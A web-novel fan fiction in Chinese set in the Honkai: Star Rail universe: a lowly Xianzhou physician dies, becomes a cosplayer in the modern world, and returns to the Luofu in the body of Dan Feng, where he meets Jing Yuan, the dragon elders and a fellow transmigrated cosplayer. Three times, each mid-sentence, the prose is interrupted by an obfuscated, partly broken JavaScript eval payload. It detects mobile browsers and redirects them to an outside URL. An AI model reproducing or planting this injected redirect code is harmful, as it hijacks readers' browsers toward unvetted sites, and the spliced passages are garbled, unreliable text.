《COS丹枫穿越后成功登基了[崩铁]》 1. 穿越了 “当你看到这条短信的时候……” 我已经走了。 物理意义上的,走了。 “大家好,我本是罗浮仙舟丹鼎司一位平平无奇的底层医士,在建木灾变中被官方登记为不幸罹难。是这样的,其实我并没有死,只是穿越到了一个名为‘现代社会’的地方,现在急需5000巡镝,助我重返星铁世界。作为回报,我定倾囊相授仙舟医学秘术……” 嗯,这样的话术显然是骗不到任何人的,除非有人真的傻。 所以现在必须另谋生路了。 先自我介绍一下,在下姓温,名什么这不重要,没必要记下来——百分之一百罗浮仙舟本地持明,还是非常本地的那种,毕业之后按分配进入丹鼎司工作,拿着微薄的工资,干着顶级牛马的活。 你问我既然姓温,为什么不去黑塔空间站工作?那里可是有一大箩筐的温家人在搞科研,还能时不时接受天才智慧的洗礼! 问得好。 ——大概是因为我们土生土长的罗浮人多数信奉大门不出二门不迈的格言,如非必要,仕事决计不出仙舟,拒绝出差,拒绝外派。 因此,恰恰是这样过于保守的态度导致我非常倒霉地成为了建木灾变的遇难者之一。 一直勤勤恳恳在丹鼎司打工抓药的我从不随意旷工,三百六十五个系统日风雨无阻准时打卡上班,结果就在那一天—— 曾经潜伏在丹鼎司的药王秘传魁首丹枢突然现身,当场大开杀戒,命令手下一个个杀过去,把我的同事全部突突成dead body了。 dead body这个词还是我在那个叫做“现代社会”的地方学到的,一具死了的躯体,真是太形象了。 话归正题,自然我的同事们都死了,下一个就轮到我了。 我想,在药王秘传的语言里,这大概不能叫做“杀”,而是药王的赐福,极好的东西,能让人长生不灭,永葆生命活力。 可苍天大地明辨忠奸,我是正统仙舟良民呐,不信这个的! 或许是帝弓司命在冥冥之中听到了我的号啕,因而施舍了我一个目光。 一个轻描淡写的目光。 所以,就在我离莳者的屠刀仅有一厘米的时候——啊不,就在莳者的屠刀穿透我的胸膛顶出一厘米带血的刀尖时——奇迹发生了。 我穿越了。 还是身无分文地穿越到了一个名为“现代社会”的世界,你说这是什么地方? 我一个罗浮土包子哪里知道啊? 哎,算了,穿越就穿越吧。在罗浮的时候也不是没看过类似的小说,什么《转生成为龙尊大人,然后一统仙舟》…… 天下无敌这种事还是甭肖想了,但作为丹鼎司医士,好歹有一技之长傍身,可以凭借古法医道发光发热。 咳咳,后来我发现自己真是想多了。 经过漫长的学习和不断的试错,我方才领悟到一个残酷事实:这个“现代社会”简直太离谱,竞争激烈、疯狂内卷、无人生还! 我既没有那个什么叫做“学历”的东西,想要从医的话,也没经历过那个什么叫做“规培”的东西。 更何况据网络上的亲友们所说,在这个“现代社会”里,成为本科大学生和硕士已经远远不够了,要到博士的地步才能有一点点抢手的热度。 我个罗浮人自然没经过所谓正经高度教育,这条路是堵死了。 反正无证行医不可取。 无论在罗浮仙舟,还是在现代社会,我始终不曾放弃成为一位遵纪守法的良民的追求。 故而在失去了我最大的优势之后,剩下来的谋生选项没几个了,还得排除掉某些看起来真的不太行的血汗工厂劳务外包差事。 事已至此,我便光荣地成为了—— 一名coser! 这一行确实没有什么技术含量,即便没看过原著,也完全可以胜任。 也许是上天突然怜悯了一下我,我误打误撞地就被一个商业化cosplay社团看上了,然后被招募为他们的签约freelancer成员。 哎,我通过名为“互联网”的东西了解到,现在freelancer这个词特别火。 所有的企业都在搞什么降本增效,减少用人成本,转而聘用编外人员。 看看freelancer这个词里不是有free一词吗?这就意味着这些老板可以心安理得地拿他们当免费的使了,随便寻个由头拖欠劳务报酬款项。 题外话,一不小心说多了。 作为连户籍都没有的穿越者,这份不需要任何技术含量的工作已经是我能找到的最好的一个了,再不行也只能硬着头皮上了…… 当时社团的主理人“景元”拍着我的肩膀,对我大呼“简直太有故人之姿”的时候,我瞬间感到这份工作稳了。 废话,我可是地地道道的仙舟人。 怎么可能不有“故人之姿”? 要说起cos仙舟人,我称第二,就没人敢称第一! 说实话这个社团的氛围还算是很友好的,这些没事就顶着七彩头毛的朋友们不仅帮我恶补了cos圈知识,还倾情传授了我一门叫做“英语”的语言。 对了,关于学习语言这回事,我确实有几句话要讲,它真的很重要。 首先,我本来以为我说的仙舟语和这个“现代社会”流通的语言是不互通的,我可能会被当成咿咿呀呀叫的疯子,或者说,精神分裂症患者。 其次啊,经过一番探索,我发现自己竟然可以和他们这些原住民无障碍沟通,或许是联觉信标还在上大分吧,谢天谢地。 此中原理我不甚了解,但不重要。 都是穿越文学了,还讲什么逻辑? 当然,最后一点,根据我的努力研究和学习,我发现,在这个“现代社会”里能够操持一口流利的“英语”好像是一种可以增加酷炫度的事情。 对此,总是顶着一头乱到能撑起鸟窝的白色假毛的“景元”对我说:“你怕不是个伪人吧?” 伪人是什么意思? 我显然还未掌握这个知识,不过我觉得自己也和这个概念大差不离了。 毕竟我到这个关键节点才觉察到了一个严肃的真相——我承认我确实有些后知后觉了——然而我进行了一番激烈的心理斗争后,还是觉得这都不是事,不接受也得接受。 比如说,我其实是某个大火六字游戏里的超级普通NPC。 而社团的主理人就这么拿着手机向我大肆剧透了“我”死后发生的所有剧情,轻轻松松地概况了我无谓的人生。 发现自己活了几百年的真实世界突然变成了某款游戏里的虚拟设定,是一种怎样的感受? 我无法形容,也无法评价。 谢邀,只感觉自己好像白死了。 药王秘传被剿灭了,丹鼎司被收复了,波月古海被开了一下,苏生建木被压制了一下,星核之灾被平息了一下。 等等…… 来自星穹列车的丹恒先生竟然是我族龙尊「饮月君」? 这么大一个知识。 我怎么以前不知道? 我混乱的心绪还没有平复好,这满头鸡窝的“景元”就搂着我的肩膀,给我了一个双重暴击。 他露出非常OOC的灿烂笑容:“不好意思啊,原来觉得你的形象很适合出那个超级烫的‘丹恒·饮月’的,但是后来来了个更有经验的老师,所以我们就把角色给了他。” “所以,听我说。”他的笑容又变得狡黠起来,某种意义居然贴合起了人设,“你要不要试试出‘丹枫’?这也是个人气角色!绝对适合你!” 我们持明的前任龙尊丹枫大人是不是人气角色我不清楚,我只知道“天生丽质”来了都得败给“垂直经验”。 不过这样自夸还是太有违仙舟人谦逊有礼的良好美德了。 至于丹枫嘛。 对于这位大人,我倒没什么特殊想法。 龙师们把他来回批判为罄竹难书的罪人,然而对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15471713|169890||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于我们这种普通持明来说,前任「饮月君」不过是一个遥不可及的模糊概念。 但我听说这个“现代社会”里有一句流行的俗语叫做:理解丹枫,成为丹枫,超越丹枫。 现在我觉得这句话说得太*激烈的仙舟雅言*对了! 这群龙师,作为持明上等人,整天就知道搞什么阴谋诡计的,结果脏活灵魂全部丢给我们这些底层持明,而且上个班还能上出生命危险。 我要是丹枫大人,早不忍了,干脆像药王秘传一样,把这群只知道叽叽歪歪的龙师突突成dead body。 可惜我也只能在脑子里想想,现实里还得辛勤地当牛马,赚个微薄的牛马钱。 所以“景元”十分满意地大戳我的脊梁骨:“兄弟,下回漫展就安排你出‘丹枫’,以你的形象条件和对剧情人设的领悟力,绝对能够大火!怎么样,没问题吧?” 我展示了一颗露齿八颗的笑容:“当然。” 对剧情人设的领悟力? 那可不,可太有领悟了,甚至是亲身死了一次才换回了这痛定思痛的领悟,干翻丰饶,重振巡猎荣光! 我族龙师是不是诚心诚意地跟随仙舟政策践行巡猎命途,我不管,反正我现在准备做一个叛逆的持明小子,坚决投奔帝弓司命的怀抱。 “景元”马上又“啧”了一声:“虽然丹枫在主线里好像没什么剧情,你也没怎么打过游戏,但这都不是问题。” 我们需要明确,玩cos一般有三个等级的难度—— 基础难度:戴上正确颜色的美瞳,披上就算认真打理了还是会炸毛的假发,再穿上塑料雨衣质感的cos服,美美地进入漫展开始打卡,并接受时不时出现的路人摄影师邀拍。 进阶难度:精心钻研原作角色,理解原作内涵,升华原作主旨,绝不夹杂个人私设,做到“一举一动像是从书里走出来的一样”和“吃了一百本原著”。 巅峰难度:你已经是一位坐拥百万粉丝的大博主了,哪怕今天一时匆忙戴错了美瞳的颜色,或是拿错了假毛款式,也不会阻碍小粉丝前仆后继地来为你打call。 咳咳,说得太多,马上要被全行业封杀了。 总而言之,言而总之,经过短暂的团队磨合后,我被塞进了一顶触感极其粗糙的黑长假毛里,接着套上了一件麻袋般的cos服,感受着静电对全身的洗礼,再任由妆娘摆弄,画了一个近乎“改头换面”的浓妆。 然后就左手一个“镜流”右手一个“应星”地站上了漫展舞台跳起动感宅舞,与此同时千万记得时不时朝台下抛一个wink,激发大家的热情欢呼。 说实话这聚酯纤维制成的cos服在头顶聚光灯的照射下,实在闷热得紧,我终于明白在胸口开个天窗的必要性了。 嗯,透气、透气。 绝不是为了方便别人把手从开口处伸进去的…… 其实,我根本不会跳什么宅舞,只是随意地跟着节拍舞动我的四肢,反正集体舞往往是一片车祸现场,也不会有人发现我在浑水摸鱼。 但是啊,这热乎的闪光灯往我身上直照,照得我愈发心虚。 我看啊看,就觉得这白色的光圈晃得人头晕目眩,还渐渐地变大,直到覆盖了我全部的视野—— 铺垫了这么多,下面才是关键。 我扑通一声在台上厥过去了,身前身后的尖叫声都与我无关了,我已经神游天外去了。 然后强烈的失重感袭来,我再一睁眼,*激烈的仙舟雅言*,我居然又穿越了。 还穿回了罗浮仙舟! 不需要任何心理建设和反应时间,我立刻就意识到,不妙啊,不妙啊! 因为码头上来来往往的游人正在用沉默的目光注视着我,仿佛在说,嘿,这儿怎么有一个从历史课本中走出来的“死人”。 严格意义上讲,我的本体确实是个死人了,这点没什么好反驳的;而丹枫大人严格意义上讲,同样也是个死人了。 所以这是双重意义上的。 2. 理解了 听说“cos穿”是最近很火热的梗,这不是,也让我亲身体验上了一把。 我觉得这些投来无言凝望的路人们可能在想,哪里来的傻子居然敢在天舶司门口假扮已故的罗浮龙尊,不要命了吧! 确实挺不要命的,毕竟我早就没命了。 一个未具名coser正披着一身劣质龙尊c服,茫然地站在人头攒动的星槎海中枢的码头上,打算上演一出死而复生的戏码。 这在罗浮仙舟算什么罪? 假冒公职人员?招摇撞骗罪?寻衅滋事罪?……侮辱尸体罪? 对不起,我致歉,这个笑话有点死亡了。但请原谅,毕竟我真的是一具行走的尸体,如果我给自己把一下脉,就会发现—— 哇,不跳了。 如果我在云骑军闻讯赶来逮捕我前,赶紧把这身劣质c服扒下来,或许能争取一个宽大处理。 然而命运绝不会如此轻易地放过我,我知道的,很知道。 当我发现这头粗糙假毛黏在我的脑袋上怎么扯也扯不下来的时候,我隐约地感觉到了一丝不妙。 当我发现这永远在滑片的美瞳竟然严丝合缝地与眼睛融为了一体,扣也扣不下的时候,我瞬间脊背发凉,肌肉收缩,肾上腺素飙升。 当我发现这具早已停止生长,甚至连心跳都停跳了的身体竟然开始二次发育,蹭蹭蹭地长到一米八八的时候,我已经意识到事情无法挽回了。 对,没错,就在这种强烈的不详预感笼罩下,我颤抖着从怀里掏出镜子,仔细地看向这陌生的倒影,然后确认了一个事实: 我真成了一个死人。 啊,错了错了。 我真的穿成了丹枫啊??? 凭借着丰富的穿越经验,我本想安慰自己,没关系,没关系,不过是穿成广大玩家梦寐魂求的正主罢了…… 可该死的命运决定在这个时候再给我当头一棒。 我承认,我从来没见过景元将军如此健步如飞地冲过人群。 而且后面跟着一群龙师。 真·景元将军的头发还是比他的coser服帖多了的,至少没有蓬松到可以搭起一个鸟窝。 不过将军的头发中好像真的住了只小团雀,不知道能不能捋一捋—— 啊,现在不是想这个的时候。 在达成“捋景元将军头发”的成就前,我觉得我必须先应对一下气势汹汹袭来的龙师。 否则的话,我可能要再寄一次了。 Triple Kill. 经过我在“现代社会”的狂补物料,我忽然就发现啊,这群龙师们对丹枫大人好像有一种很复杂的情感,就是那种又爱又恨的感觉。 现代人似乎称之为……“深柜”? 这是我的coser朋友们传授给我的新知识,我最开始还不怎么理解,如今倒是觉得这形容简直太恰当了。 比如现在这龙师的首领正吹胡子瞪眼睛大喊道:“哪里来的大不敬之徒,竟敢在光天化日之下假扮前任龙尊!景元将军,你快快命人将他拿下,决计不可放纵此人在这里惑乱民心。” 他说话的腔调好像恨不得把我就地格杀了,可能是因为他觉得我是个骗子,或是,真的很讨厌丹枫吧。 如果这还不算“深柜”! 那只能说是要“越俎代庖”了! 备注:这两个词都是我在“现代社会”里学习到的,据说十分流行,感谢我的coser朋友们传授的新知识。 幸好景元将军仍在沉默。 他背着手站在一旁,我看不清他的眸光,更猜不出他的想法。 将军到底是将军,我还好好活着的时候只在丹鼎司集体问诊之时近距离见过他几次,果真一以贯之的讳莫如深。 鉴于已经体验过一次光怪陆离的穿越旅程,我很快就接受了再次发生在自己身上的奇事,并且全神贯注地投入到了剧情当中。 不要问我为什么能够如此冷静。 我只是一个文弱的知识分子。 如果以唾沫星子狂喷的龙师为参考,整个罗浮的战斗力都得下降了一百倍不止。毕竟此时龙师竟还持续性地念叨着:“前任「饮月君」早在七百年前受联盟判罚,褪鳞转生,怎么可能还活着!再者说,我持明一族也容不下这样罪大恶极的狂徒存活于世……” 我瞧着这陌生龙师朝我面孔高高戳来的手指,忽然就觉得一股无名孽火焚上心头,瞬间与丹枫感同身受了。 唉,看剧情太投入了,一不小心就把自己代入了。 “哼。” 我发出一个深沉的鼻音。 虽然原则上出cos要尽量追求还原,别夹带私设,但我实在忍不下去了。 抱歉,我不想再当忍人了。 在景元将军的亲切注视下,我一时激动地抬了个手,然后滔天水柱幻现,这像比格一样喜欢werwer叫的龙师就这么笔直地脚朝天地掉进了宣夜大街旁边的虚空里面。 不是我动的手。 是“苍龙濯世”自己干的! 没想到,我意外获得这个名为“丹枫”的形象后,竟连云吟御水的能力也一起复刻了,着实够全面的。 而且我的五感都变得机敏起来,甚至能听到旁边路人的窃窃私语,有看热闹不嫌事大的家伙居然在喊,干得漂亮,再来一个! 冲啊,飞翔的龙师! 我:“……” 使不得,使不得,一道冷汗马上要流下来了。 我丢了为首的一个龙师,后面还有一大群呢。更何况,神策将军在旁边似笑非笑地盯着我。 识时务者为俊杰,我明白的,我的身家性命全部仰赖他一人。 他喊:“丹枫大人。” 我惊:“不敢当,不敢当。” 我说:“景元将军。” 他笑:“叫我景元就好。” 这友善的程度着实让我更加感到战战兢兢。 我眼睁睁地看着他的目光在说话间突然变得明亮起来,往我面前迈了几步,周遭的气氛瞬间改变了。 他悠悠地说道:“没想到今时今日,相晤故交,尤甚怀念啊。” 故交,故交。 对不起,将军,我忏悔! 我的大脑飞速旋转起来,过往仍在追逐星穹列车的丹恒先生,而我在罗浮仙舟大街上疯狂地回忆罗浮仙舟游戏版本的剧情。 我的罪过。 因为主线文本量太多,我根本只是粗略地看了几眼,就一直跳过跳过。然后我对于角色的理解仅限于在绿绿红红白白的平台上阅读的一些OOC同人,依旧某些著名经典的仙舟构史传说。 以至于现在…… 我脱口而出:“你认错了。” - 一个龙师倒了,两个龙师站了出来,三个龙师唱一台戏。 他们异口齐声:“那你到底是谁?” 好问题。 我现在也不确定了起来。 刚刚在使出御水之力后,我忽然感到一股温暖的能量汇聚在了我的胸口,让我感觉好像…… 不再像是死了。 我当下一闭眼,恍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15471714|169890||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惚间仿佛听到了潺潺的水流声,然后有一个声音对我说:丹枫,丹枫。 丹枫……丹枫……丹枫……丹枫……丹枫。 卡了。 复读机卡了,还刚好卡了五下。 这个声音就在我的耳边念叨啊,念叨,好像是充满了什么执念一样,要给我努力洗脑。 我:“……” 谢邀,难道这回是真的要理解丹枫,成为丹枫,超越丹枫了吗? 这个声音重复得如此斩钉截铁,我完全无法与之抗衡,他好像要完全覆盖住我的意识,引导我说出那句话—— 说真的,也许有些人很喜欢龙傲天的人生,成为持明族的一族尊长,手握大权,呼风唤雨。但凭借我对这位据我转生破壳相去年岁甚远的这位大人的浅薄了解,他的人生可算不上拿了龙傲天剧本,只叫人觉得唏嘘不已。 说真的,我不是很想成为丹枫。 况且,我很有道德素质的,知道不该抢原作角色高光。 于是面对龙师的质问,我只好张嘴答道:“我不是丹枫,我是丹分。” 不知道龙师会不会区分前后鼻音,但景元显然被我的笑话逗乐了,他轻笑的时候额前的碎发都会随之一起抖动,用罗浮主线里三月七那句话来形容,将军是长得真不错啊! 咳咳,都怪我这该死的脑子莫名其妙记住了这句台词,该记的不记,净关心这种细枝末节去了。 所以景元继续问我:“那么,你是「饮月君」?” 有道理,毕竟「饮月君」可不止一任。 持明族教科书的第一页可是罗列了好长好长的龙尊名讳和事迹。可惜我当时上课没好好听讲,以至于现在除了“雨别”和“丹枫”两个名字,其他的全部忘光了。 考虑到“多说多错”的可能,我鬼使神差般地脱口而出,答曰:“不,我不是「饮月君」,请叫我「吞日君」,这是我的圈名,谢谢。” 灵机一动很好,但最好不要动了。 啊嘞,这原本就足够冰冷的气氛一下子掉到了冰层深处。 死嘴,不该在这个时候玩梗的! 龙师们的表情变得非常难看。 景元一合掌,拍着手哈哈一笑:“阁下果然博洽多闻,这对子可对得着实工整,既富有气势,又不失趣味。” 谬赞,谬赞…… 我摆摆手,可算长舒一口气,似乎是糊弄过去了反正我既没承认,也没否认,做人终归要留一线余地。 做人是这样,做龙也是同样的道理。 然而就在我以为自己用精湛的cos演技成功说服了景元,让景元不再执着于称呼我为龙尊或者丹枫的时候。 他居然反戈一击,就对我说:“贵客远道而来辛苦了,在这说话不方便,就让我的几位云骑亲卫护送一程吧。” 话音未毕,几个全副武装的云骑军抢夺先机,笔直地站到了龙师面前,阻挡住了他们蠢蠢欲动的“越俎代庖”之心。 我不得不感慨,哪怕龙师再闹腾,也做不了罗浮的主,景元还在一日,就轮不到他们插手。 将军不愧是将军! 我正想在心中默默给他点了赞来着,他却冷然一哂,给我带来晴天霹雳。 景元说:“麻烦请阁下暂且屈尊,去幽囚狱坐坐吧。” 都说越爱笑的男人越恐怖。 确实。 然后我不假思索地回答道:“包三餐吗?包住宿吗?周末双休吗?” 看来在我拳打联盟,脚踢龙师,成功走上人生巅峰之前,这幽囚狱是不得不先进一下了。 3. 进狱了 幽囚狱中。 听说以前丹枫大人是被关在幽囚狱最底层的特殊牢房里的,但是景元领着我往往复复绕了好几圈,最终停在了焦热狱这一层。 顾名思义,焦热狱就是很热的狱。 我问:“我们不到下面去吗?” 他答:“到下面去?” 景元像个复读机一样重复了我的话,一副“我不明白你在说什么”的样子,语气温柔得仿佛要把人哄成胚胎了。 要不是我看过剧情,恐怕就信了! 信景元,不如信我是秦始皇,所以绝对没有这么简单。 我正打算试探性地抗争一下。 然而阴魂不散的龙师又冒了出来,这次还是个新的。 在罗浮仙舟,好事的龙师可是取之不尽用之不竭,到处都是他们的身影。 我依稀记得这人是龙师风浣,他曾经莅临丹鼎司指导我们持明医士开展工作,要求我们千万不要把研究成果与天人一族的医士分享,必须保证我们持明族担任论文第一作者。 他说这叫什么断指计划,意思就是,让我们持明垄断仙舟医学行业。 对此,我难以置评。 景元瞧见他来,脸上重新挂起笑意,客客气气地问道:“持明长老此番前来,不知有何指教啊?” 风浣轻蔑地喷出一口气:“言重了,我们持明哪敢指挥将军行事啊。只是身为龙族长老,我有必要申明一件事,这属于我们持明的内部事务,将军如此横加干涉,不太妥当。” 景元装迷糊道:“咦,此话怎讲?” “既然大逆罪人「饮月君」重现世间,自当交由我族处置,彻底斩灭后患。”他理直气壮的样子着实令人喷饭,“将军,还望您配合。” 我看景元毫无所动,依旧打着哈哈:“「饮月君」?哪里有什么「饮月君」?我怎么没看见?” 他高强的心理素质太使人拜服了。 风浣听罢,气不打一处来,摊开手便骂:“这、这、这不就站在你身后嘛!将军,难道你打算睁着眼睛说瞎话吗?” 我实在觉得这群龙师特别喜欢自相矛盾,一会儿坚称我不是丹枫,一会儿觉得我是丹枫。 当然我也不知道自己到底是不是。 景元意味深长地瞥了我一眼,我假装高冷地抬起上巴不打算发言,他便自行回复道:“七百年前联盟判处丹枫蜕鳞轮回之刑,罪囚已受极刑涅槃转生,再世为人。普天之下,宇宙之间都未曾有过人类死而复苏之例,按此逻辑,丹枫现今怎么可能立于你我面前呢?” 风浣正欲辩驳,景元却立刻截住了他的话头。 “……还是说,当年施展蜕鳞轮回之刑时,行刑的持明族裔做了什么我们未曾知晓的手脚,没让丹枫真正死去?” 景元抱起手臂,语气轻盈:“哎,如此一来可是大事了,我必得赶紧汇报联盟上层,问问对策。” 哇,佩服佩服。 景元将军简直是我们罗浮人的神。 龙师肉眼可见地变得气鼓鼓,景元继续添油加醋地补了一刀:“在未查清事情真相前,同时为了保护大家的安全,我请这位‘天上来客’权且于此处休息一下,待来日慢慢探问,先不急于向联盟汇报,平添麻烦,您觉得如何?” “呵,全凭将军一张巧嘴决断。” 风浣吃了个哑巴亏,忿忿不平地转身离开了,看样子是打算寻些帮手来。 这厢我还在仰天感慨将军英姿飒爽,景元回头就对我比划了个手势,示意我到前头门户大敞的牢房里去。 我不禁感慨着,丹枫大人啊,丹枫大人,您实在是太进狱系了些。 “持明一族喜凉不喜热,但如今幽囚狱里人满为患,只剩下这么一间房了。”景元一摊手,“委屈阁下在此处暂时落脚,应该没问题吧?” 我嘴巴比脑子快,即答:“区区酷热,不足挂齿。” 嘿,总感觉我这嘴自从穿回来之后就突然不受控制了。 景元悠长宛转地“啊”了一声,在我提起袍子走进牢房后,立马反手咔哒一声,将门锁得严严实实。 看来在景元眼里,我是个顶级恐怖分子…… 我突然想起了那个如细腻涓流般的声音,他说,让我成为丹枫,这究竟是什么意思,我并不明白。 是否和它有关系呢? 景元在临行前,隔着牢门低声对我嘱托了一句:“起死回生之术在联盟内部一直被视作顶级「禁忌」,无论你究竟是何身份,有何图谋,皆不可随意承认,更不可妄图挑战,要聆听自己的本心,去做你觉得对的事。” 啊,将军说话就是有文化,这一句话一口气说不完,末了他又补充道: “切记,别走脱了风声,也别向任何人透露——事情的真相。” 他特意把最后几个字咬得很重。 不给你问我真相是什么,我哪知道呢,连个影子都没瞧见! 我主观认为景元的话像是颇有点谜语人的味道,然而将军的深意不是我等凡人猜得出的,问就是,意有所指。 只不过我,其实,不太清楚故事的前因后果呢。 丹枫「饮月之乱」七百年光景,我历经两次转生,无几印象,而况下层持明,罕能得见龙尊天颜,或有所耳闻「云上五骁」的传奇,却并不知晓内情与细节,距今良久,人莫知之矣。 所以你问我丹枫究竟如何? 那可真是问错人了。 唉,我才刚刚穿回罗浮,啥都没搞明白,就一言不合地被投入大牢,但我发现幽囚狱牢房这个地方安静宽敞,确实很适合休养生息。 罢了罢了,事已至此,先睡觉吧。 这大牢里吃穿不愁,随醒随睡,实乃一块风水宝地,难怪大家都爱进狱。 - 不知道多少系统时过去。 眼睛一睁一闭,我一觉醒来,多么希望回到原来那牛马般的生活中去,虽然医士是个高风险职业,但至少没有什么角色扮演的压力。 然而无奈眼前仍是物理意义上的铜墙铁壁。 据说在“现代社会”,犯人在监狱里可以踩缝纫机当作消遣,可惜在罗浮,恐怕没那么好的待遇。 我只能和明光闪烁的狱门干瞪眼。 此时此刻,我正全神贯注地透过反光钻研我的新形象时,外面悄无声息地走过来两个狱卒。 确切来说,是两个十王司的判官。 寒鸦和雪衣。 十王司的工作一般和丹鼎司没什么交集,要问我为什么认识她俩的,全靠那个万能的cos社团! 我记得白毛的“景元”是个真爱党,凡出辅助必抽,一直喊着什么“站起来了,又站起来了”。 而另一个白毛“镜流”则是间歇性·全图鉴党,意思是,把四星全抽齐了,仙舟五星也全抽齐了,其他角色则随缘,所以我借“镜流”的号认了一圈人头。 果然,我之前还是太狭隘了,什么素裳啊,青雀啊,桂乃芬啊,我全没结识过,只顾着埋头工作了。 失败的人生。 从一开始就注定了。 不过没关系,命运赐给了我一次重新开始的机会,现在开始广交人脉也不算晚——重活一世,我定要拿回属于我的一切! 抱歉,突然串频了。 总之,我看着寒鸦和雪衣站在我的牢房门前鼓捣了一会儿玉兆。 然后她们俩说:“你被释放了。” 我脑子一热,嘴巴一快,就反问道:“就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15471715|169890||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这?” 她们两个人快速地对视一眼,仿佛对我的智力产生了质疑,继而素质极高地尝试用人话解释了情况:“这是景元将军的命令,目前外面的局势已经得到有效控制,他认为你对罗浮不具备什么威胁性,所以现在放你出来。” 嘿,我之前还觉得景元看待我像看待恐怖分子一样。 现在他居然改变主意了? “十王司占得汝之星相不在罗浮仙舟的命盘,故而没有理由继续羁押。”雪衣一板一眼地说道,“汝的确肖似丹枫,气息亦同,吾多有顾虑。然则十王敕令,万千判官,必遵行之。” 寒鸦颔首:“姐姐的话乍听起来艰苦深涩,其实她的意思是,她会一直看着你的,请小心做人。” 谢谢,这一回我一定小心做人,也小心做龙。 寒鸦说罢,又自顾自地摇了摇头:“奇怪奇怪,你的身上判读不出任何罪孽,仿佛一个人被隔成两半一样。就这么同意放你走,十殿阎王到底想干什么……第一时间诏谕将军把人带过来,结果关进来放出去、关进来放出去的,到底想干什么……” 我忍不住问:“这真的是能说的吗?” 寒鸦沉默了一下。 最终她选择重复一遍之前的话以作答复:“你被释放了。” - 我恋恋不舍地离开幽囚狱这块风水宝地,出了门,也没人接应我,甚至连半个鬼影也没有。 好家伙,罗浮一直这么松弛的吗? 除了路边停了辆落满灰的无人星槎,正面贴着张摇摇欲坠的纸片,上书:自动驾驶,投币使用。 我掏了掏龙尊常服的袖子,里面居然还真的藏了几个巡镝,尊贵如丹枫大人,竟然也会储备找零的钱吗? 感谢丹枫,感谢罗浮。 咻的一声。 将军,我起飞了! 洞天之间的道路异常通畅,这很不对劲。因为以前上班的时候在不同洞天之间通勤,轨道常常是堵得水泄不通,所谓上班三十分钟,堵车两小时。 当然我无权置喙仙舟交通事宜,这不归丹鼎司管。 经过几个系统分钟的飞翔,我小费力气地摸到了长乐天的洞天入口,这艘无主星槎的导航穹仪失灵了,我只能盲目行进,才误打误撞进到了这里。 寒鸦和雪衣两个人催促我离开,我却不知道究竟能去哪儿,于是随波逐流、听天由命了。 偌大的罗浮,竟没一处是我的家。 路过的技巧鸟:“……” 嗯,开玩笑的。 我揣摩着景元隔了几多时便放了我走,亦没有多加查验我的情况,这样做肯定有什么别样的深意,难道他想让我去替他办什么事吗? 然而就在我苦思冥想不得其解之际,大地忽然一声震颤。 远处的建木枝节随即破云而出。 天呐,我无比清晰地看见这壮丽的场景,简单来形容,就是好几根树杈子笔直地插进了高空,黄绿色的光芒照彻玄虚,遮天蔽日。 啊。 啊? 啊!!!!!!!!!!!! 我乐呵呵地沉浸在重返快乐老家的激动中,全然没想到这一码子事,千算万算忘记算时间点了,甚至偏偏是最关键的时间点—— 所以我不仅是cos穿了,还穿到了主线剧情的最前面? 人可以倒霉。 但不能够这么倒霉吧? 正当我感到心情跌宕起伏、难以平复之时,一双寒冰三尺的手突然伸了过来插进我的衣领里,猛不丁把我拉进了深不可测的漆黑小巷。 呜呼。 如果我有罪,请让法律来制裁我,而不是无助地被命运扼住后颈皮。 真的很痛欸! 4. 闪现了 我回头一看,是镜流。 等等。 镜流……? 在深邃的漆黑巷子,这非常OOC的灿烂笑容倒映着外头灯火的幽光,我定睛一瞧—— 分明不是镜流,而是“镜流”啊! 怎么,不仅我一个人穿了,合着这还是个群穿剧本啊? 我记得当时舞台上,左边是“镜流”,右边是“应星”,后面还混上了一堆别的剧组的,比如某蓝色六眼的白毛和缠满绷带的黑棕毛。 他们要是一起穿了过来…… 岂不是仙舟要乱套了? 似是察觉出了我的担忧,“镜流”充满自信地说道:“放心,至少我现在还没遇见他们,你的福气还在后头呢!” 大可不必,不可不必。 我连忙摇摇脑袋,诚惶诚恐地问道:“那个,姐,能不能请你大发善心把手从我的脖子后面拿开?” “啊。” “镜流”恍然大悟,抽回了胳膊,挠了挠头解释道:“你看,我们这个样子在街上乱走,会把云骑军引来的嘛,所以我才出此下策的。” “我琢磨着,按照电视剧里说的,穿越者不能改变既定历史,那么我们在游戏里,肯定也不能改变主线剧情,否则的话,会产生黑天鹅效应的吧?” 黑天鹅应该不会在罗浮。 但黑天鹅效应,我可不敢打包票。 “镜流”说得一本正经,我一联想景元神秘兮兮对我叮嘱的话,哎呀,好像恰好也是这个意思…… 